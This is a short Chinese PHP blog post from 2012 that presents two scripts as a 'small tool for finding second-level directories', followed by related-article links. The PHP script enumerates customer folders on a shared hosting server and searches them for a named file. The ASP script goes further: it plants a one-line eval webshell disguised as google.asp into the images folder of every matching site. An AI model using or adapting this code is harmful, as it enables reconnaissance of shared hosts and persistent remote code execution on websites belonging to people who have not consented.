php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
资料注册后发信小技巧
Oct 09 PHP
如何写php程序?
Dec 08 PHP
动易数据转成dedecms的php程序
Apr 07 PHP
比较全的PHP 会话(session 时间设定)使用入门代码
Jun 05 PHP
php缓冲输出实例分析
Jan 05 PHP
ThinkPHP3.2.2的插件控制器功能
Mar 05 PHP
PHP CURL 多线程操作代码实例
May 13 PHP
PHP函数实现从一个文本字符串中提取关键字的方法
Jul 01 PHP
php判断当前操作系统类型
Oct 28 PHP
PHP5.0 TIDY_PARSE_FILE缓冲区溢出漏洞的解决方案
Oct 14 PHP
php自定义排序uasort函数示例【二维数组按指定键值排序】
Jun 19 PHP
Thinkphp 框架扩展之数据库驱动常用方法小结
Apr 23 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
php 短链接算法收集与分析
2011/12/30 PHP
解析thinkphp中的M()与D()方法的区别
2013/06/22 PHP
php获取目录所有文件并将结果保存到数组(实例)
2013/10/25 PHP
PHP图像处理之使用imagecolorallocate()函数设置颜色例子
2014/11/19 PHP
PHP自带ZIP压缩、解压缩类ZipArchiv使用指南
2015/03/03 PHP
php事件驱动化设计详解
2016/11/10 PHP
iOS自定义提示弹出框实现类似UIAlertView的效果
2016/11/16 PHP
Yii2-GridView 中让关联字段带搜索和排序功能示例
2017/01/21 PHP
百度坐标(BD09)、国测局坐标(火星坐标,GCJ02)、和WGS84坐标系之间的转换
2016/02/19 Javascript
JavaScript实现iframe自动高度调整和不同主域名跨域
2016/02/27 Javascript
Angularjs 滚动加载更多数据
2016/03/17 Javascript
第二篇Bootstrap起步
2016/06/21 Javascript
jQuery异步提交表单实例
2017/05/30 jQuery
js移动端事件基础及常用事件库详解
2017/08/15 Javascript
详解小程序之简单登录注册表单验证
2019/05/13 Javascript
Node使用Nodemailer发送邮件的方法实现
2020/02/24 Javascript
Node.js API详解之 console模块用法详解
2020/05/12 Javascript
[00:52]DOTA2第二届亚洲邀请赛预选赛宣传片
2017/01/13 DOTA
Python实现国外赌场热门游戏Craps(双骰子)
2015/03/31 Python
KMP算法精解及其Python版的代码示例
2016/06/01 Python
Python读取指定目录下指定后缀文件并保存为docx
2017/04/23 Python
python 实现数字字符串左侧补零的方法
2018/12/04 Python
python实现飞机大战游戏
2020/10/26 Python
Python注释、分支结构、循环结构、伪“选择结构”用法实例分析
2020/01/09 Python
构建高效的python requests长连接池详解
2020/05/02 Python
波兰品牌内衣及泳装网上商店:Astratex.pl
2017/02/03 全球购物
Linux机考试题
2015/10/16 面试题
市场营销专业个人求职信范文
2013/12/14 职场文书
大学生学习党课思想汇报
2014/01/03 职场文书
《台湾的蝴蝶谷》教学反思
2014/02/20 职场文书
人事专员的职责
2014/02/26 职场文书
金融系毕业生自荐书
2014/07/08 职场文书
纪检干部先进事迹材料
2014/08/23 职场文书
小学生手册家长意见
2015/06/03 职场文书
培训简讯范文
2015/07/20 职场文书
python实现一个简单的贪吃蛇游戏附代码
2022/06/28 Python